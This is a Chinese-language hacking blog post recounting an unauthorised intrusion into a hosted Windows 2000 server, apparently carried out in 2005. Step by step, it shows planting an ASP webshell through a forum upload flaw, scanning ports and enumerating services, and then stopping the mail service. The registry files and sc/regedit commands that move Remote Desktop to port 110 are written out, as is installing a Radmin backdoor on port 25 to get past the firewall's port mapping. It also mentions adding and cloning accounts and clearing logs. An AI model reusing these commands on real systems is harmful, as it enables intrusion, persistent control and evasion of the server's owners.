利用防火牆配置不嚴密,突破硬件防火牆,而不是饒過

www.moko.cc ----李俊
QQ:5161155
 

這本來是,我在大三的時候寫過的一篇文章。也是我的第一篇hack文章,雖然沒什麼技術含量。但值得收藏,所以轉了過來,不要見笑。
本身是網絡專業的,在學校的時候有幾個知趣相投的哥們,大家都挺喜歡HACKing的,所以今天就把我最近的心得發表一下,要是大家喜歡,我以後就多寫些自己的HACKing經歷,沒有什麼技術含量,希望大家多多指教
前天晚上我的一個同學發現一網站,是個虛擬主機,竟然有DVBBS6的上傳漏洞。覺得是老問題了,在一點,現在這麼多虛擬主機,也沒抱什麼希望。傳了個ASP後門,上去一看,我竟然能執行命令,還能遍歷目錄。接着,我就要看對方的環境了。
telnet 221.1**.6.82 80                
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Sat, 17 Dec 2005 21:24:35 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is incorrect. </body>
</html>
遺失對主機的連接。
D:\hack\scan>
由此看來應該是2K SERVER了,接下來我用S掃了一下
D:\hack\scan>s tcp 221.1**.6.82 1-3389 300 /banner
TCP Port Scanner V1.1 By WinEggDrop
Normal Scan: About To Scan 3389 Ports Using 300 Thread
221.1**.6.82     25     -> "220 ESMTP on WebEasyMail [3.5.3.1] ready.   http://www
.51webmail.com"         請注意這裏,下面突破的時候能用到這個端口
221.1**.6.82     110   -> "+OK POP3 on WebEasyMail [3.5.3.1] ready.   http://www.
51webmail.com"          請注意這裏,下面突破的時候能用到這個端口
221.1**.6.82     53     -> NULL
221.1**.6.82     80     -> NULL
Scan 221.1**.6.82 Complete In 0 Hours 0 Minutes 36 Seconds. Found 4 Open Ports
看來只開了4個基本服務的端口,在看看IP地址
WEBSHELL裏運行ipconfig /all
Windows 2000 IP Configuration
Host Name . . . . . . . . . . . . : ****server
Primary DNS Suffix   . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter 本地連接 2:
Media State . . . . . . . . . . . : Cable Disconnected
Description . . . . . . . . . . . : Intel(R) PRO/100 Server Adapter
Physical Address. . . . . . . . . : 00-20-ED-5E-49-9E
Ethernet adapter 本地連接:
Connection-specific DNS Suffix   . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Desktop Adapter
Physical Address. . . . . . . . . : 00-20-ED-5E-49-9F
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.0.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
DNS Servers . . . . . . . . . . . : 202.99.***.68
有上述看見,這臺服務器應該是在內網裏了,網關應該是防火牆或是路由器之類的
可是我要怎麼突破防火牆的呢?主機只開了255380110,可能有朋友會說用鴿子等什麼反彈連接的***,可是小弟我覺得還是儘量能利用系統自帶的東東比較好,微軟送我們的“後門”太多了
我想如果防火牆配置有缺陷的話,只是在網關上做了基於端口映射而不是包過濾等協議分析方面的設置
那麼突破是有可能的
查看當前都運行了什麼服務,在WEBSHELL裏運行
net start
已經啓動以下 Windows 2000 服務:
   Alerter
   Automatic Updates
   COM+ Event System
   Computer Browser
   DHCP Client
   DHCP Server
   Distributed File System
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   DNS Server
   EasyMail NT Service   <<<<<這就是開放25110端口的服務了,這軟件很多機都用呢!
   Event Log
   FTP Publishing Service
   IIS Admin Service
   Intel PDS
   Internet Authentication Service
   IPSEC Policy Agent
   License Logging Service
   Logical Disk Manager
   Message Queuing
   Messenger
   Microsoft Search
   MSSQLSERVER       <<<<<好的東西,轉儲過程都沒刪除,真不知道是怎麼做的!
   Neon Responder
   Network News Transport Protocol (NNTP)
   NT LM Security Support Provider
   Plug and Play
   Print Spooler
   Protected Storage
   Remote Access Connection Manager
   Remote Administrator Service
   Remote Procedure Call (RPC)
   Remote Registry Service
   Removable Storage
   RunAs Service
   Security Accounts Manager
   Server
   Simple Mail Transport Protocol (SMTP)
   Simple TCP/IP Services
   SNMP Service
   Symantec AntiVirus
   Symantec AntiVirus Definition Watcher
   System Event Notification
   Task Scheduler
   TCP/IP NetBIOS Helper Service
   Telephony
   Terminal Services      〈〈〈〈好東西,免的我幫他開啓
   Terminal Services Licensing
   Windows Internet Name Service (WINS)
   Windows Management Instrumentation
   Windows Management Instrumentation Driver Extensions
   Windows Media Monitor Service
   Windows Media Program Service
   Windows Media Station Service
   Windows Media Unicast Service
   Workstation
   World Wide Web Publishing Service
大約就是這樣子,我想環境大家都看明白了
我乃悸肥欽庋 模 熱徊荒芊夢?FONT face="Times New Roman">3389端口的終端服務,那麼如果我要是把“EasyMail NT Service”服務停用了,那麼25和110端口不就讓出來了嗎,我們可以把終端服務的端口改成110, 在裝個Radmin,把端口改成25,這樣我就可以突破防火牆的限制,控制他的主機了,呵呵。道理很簡單,接下來我爲大家展示我的***過程
首先用WEBSHELL上傳以下文件
sc.exe       <<<<<<不用我說,你知道
110.reg       <<<<<<將終端服務端口改成110端口用的註冊表文件
3389.reg     <<<<<<將終端服務端口還原成3389端口用的註冊表文件
server.exe     <<<<<<Ramin的服務端,端口我已經設置爲25了,密碼……呵呵
以下爲110.reg和3389.reg文件的內容
110.reg內容如下
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:0000006e
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:0000006e
3389.reg內容如下
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]
"PortNumber"=dword:00000D3D
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000D3D
好了,上傳到WEBSHELL的路徑下,運行他們的時候要用絕對地址哦。
首先我們要是想讓EasyMail NT Service服務停掉的話
net stop “EasyMail NT Service”  
可是終端服務改完端口後,是需要重新啓動機器的,所以我用sc這個東西把
EasyMail NT Service的啓動方式設置爲手動啓動
在WEBSHELL裏輸入命令(要絕對地址哦)
G:\h******\s**\s******\*****\********\*\sc.exe config EasyMail start= demand
net stop "EasyMail NT Service"
G:\h******\s**\s******\*****\********\*\regedit /s 110.reg
iisreset /reboot  
正在嘗試重新啓動……
等過一會,遠程主機重新啓動了,
我拿出終端連接器,輸入221.1**.6.82:110
哈哈,真是久違的畫面啊,可惜這裏不讓貼圖,大家多包涵吧
現在可以利用WEBSHELL加個用戶
我登陸後,運行了
G:\h******\s**\s******\*****\********\*\server.exe   <<<<<<我自己培植好的Radmin的服務端,這時候在用RADMIN連接他,連上遠程主機後,看看
機器還沒登陸呢,當然了,因爲主機重新啓動了,希望管理員不要追蹤我哦,這也是我認爲比較遺憾的一點
以下是還原主機設置的命令,我相信你能看得懂
G:\h******\s**\s******\*****\********\*\sc.exe config EasyMail start= auto
G:\h******\s**\s******\*****\********\*\sc.exe config ramin start= demand
G:\h******\s**\s******\*****\********\*\regedit /s 33891.reg
iisreset /reboot
至於怎麼清除日誌,呵呵,我想這個就不用說了
大家都明白
我自己還克隆了個用戶,這也不用我說了,大家應該都比我熟練吧
我只是說了個思路, 以上也只能用到在防火牆配置不嚴密的時候,如果對方防火牆是基於包過濾的,我也沒什麼好的方法,聽說國外有個軟件http_tunnel.不過我覺得這個 軟件在UNIX和linux比較穩定,在WIN下很容易引起IIS崩潰的,這也是我沒有用它的原因,如果誰有好的方法,請告訴我,謝謝
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章